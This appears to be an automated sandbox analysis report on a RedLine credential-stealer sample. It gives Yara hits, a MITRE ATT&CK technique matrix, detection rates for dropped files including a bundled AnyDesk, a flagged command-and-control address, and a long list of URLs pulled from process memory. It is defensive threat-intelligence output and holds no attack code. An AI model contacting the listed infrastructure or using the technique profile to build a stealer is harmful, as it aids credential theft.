Source: Yara match	File source: Process Memory Space: embedded.exe PID: 7592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gg.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gg.exe PID: 8008, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\WinNet\gg.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	1 Valid Accounts	531 Windows Management Instrumentation	11 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	12 System Time Discovery	Remote Services	1 Archive Collected Data	12 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 DLL Side-Loading	1 Valid Accounts	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Valid Accounts	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	156 System Information Discovery	SMB/Windows Admin Shares	21 Input Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Software Packing	NTDS	651 Security Software Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Timestomp	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	441 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Valid Accounts	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Modify Registry	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	441 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	11 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Hidden Files and Directories	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SysrI6zSkJ.exe	39%	ReversingLabs	Win64.Spyware.RedLine

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\WinNet\AnyDesk.exe	0%	ReversingLabs
C:\ProgramData\WinNet\embedded.exe	58%	ReversingLabs	Win64.Spyware.RedLine
C:\ProgramData\WinNet\gcapi.dll	0%	ReversingLabs
C:\ProgramData\WinNet\gg.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.RedlineStealer
C:\Users\user\AppData\Local\Temp\gcapi.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id2Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id21Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id23ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id13ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id1ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id12Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id6ResponseD	0%	Avira URL Cloud	safe
67.203.7.148:2909	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id21ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id10ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id5Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id24Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id8Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id10Response	0%	Avira URL Cloud	safe
https://dartbug.com/52121.	0%	Avira URL Cloud	safe
http://tempuri.org/D	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id13Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id12ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id7ResponseD	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
d1atxff5avezsq.cloudfront.net	18.173.219.85	true	false	high
boot.net.anydesk.com	37.59.29.33	true	false	high
relay-d7627e96.net.anydesk.com	64.31.23.30	true	false	high
api.playanext.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
67.203.7.148:2909	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	gg.exe, 0000000F.00000002.1909250900.0000000004301000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	gg.exe, 0000000F.00000002.1909250900.0000000004301000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1888129500.00000000042F6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.anydesk.com/knowledge/users	AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	false		high
http://tempuri.org/Entity/Id23ResponseD	gg.exe, 0000000F.00000002.1905680590.0000000003797000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003332000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.google.com/chrome/contact/chromeuninstall3?hl=$1	AnyDesk.exe	false		high
https://anydesk.com/update	AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	false		high
http://tempuri.org/Entity/Id12Response	gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/	gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id2Response	gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id6ResponseD	gg.exe, 0000000F.00000002.1905680590.0000000003793000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
https://datatracker.ietf.org/ipr/1526/	AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	false		high
https://policies.google.com/privacy?hl=$	AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	false		high
https://help.anydesk.com	AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13ResponseD	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000032F2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.anydesk.com/knowledge/what-is-full-client-management	AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	false		high
http://tempuri.org/Entity/Id15Response	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.anydesk.com/knowledge/account-migration	AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
https://help.anydesk.com/	AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	false		high
https://api.ip.sb/ip	SysrI6zSkJ.exe, 00000000.00000003.2259823166.000001589E200000.00000004.00001000.00020000.00000000.sdmp, embedded.exe, 00000007.00000002.3477005535.0000022F0BB80000.00000004.00001000.00020000.00000000.sdmp, gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 0000000F.00000000.1644111512.0000000000D62000.00000002.00000001.01000000.00000007.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.anydesk.com/knowledge/status-anynet_overload	AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	false		high
https://anydesk.com/contact/sales)	AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id1ResponseD	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	gg.exe, 0000000F.00000002.1909250900.0000000004301000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1888129500.00000000042F6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	gg.exe, 0000000F.00000002.1909250900.0000000004301000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1888129500.00000000042F6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21ResponseD	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://anydesk.com/en/assembly	AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/contact/chromeuninstall3?hl=$1microsoft-edge:openFailed	AnyDesk.exe, 00000013.00000003.1980331395.0000000004F61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
https://datatracker.ietf.org/ipr/1524/	AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	false		high
https://my.anydesk.com/v2	AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	false		high
https://anydesk.com/company#imprint	AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	false		high
http://tempuri.org/Entity/Id10ResponseD	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000032F2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.openssl.org/)	AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	false		high
https://anydesk.com/pricing/teams)	AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	false		high
https://anydesk.com/eyb	AnyDesk.exe, 00000010.00000003.1667415426.00000000049E0000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667139623.00000000049D9000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667012404.00000000049CF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultH	gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id5Response	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15ResponseD	gg.exe, 0000000F.00000002.1905680590.0000000003616000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id10Response	gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 0000000F.00000002.1905680590.0000000003797000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.gimp.org/xmp/	AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anydesk.com/de/datenschutz	AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dartbug.com/52121.	embedded.exe, 00000007.00000000.1635812849.00007FF79F51E000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possesspropertyh	gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false		high
https://my.anydesk.com	AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.html	AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/D	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://anydesk.com/le_	AnyDesk.exe, 00000010.00000003.1667415426.00000000049E0000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667139623.00000000049D9000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667012404.00000000049CF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dart-lang/sdk/blob/master/runtime/docs/compiler/aot/entry_point_pragma.md	embedded.exe, 00000007.00000000.1635812849.00007FF79F51E000.00000002.00000001.01000000.00000004.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
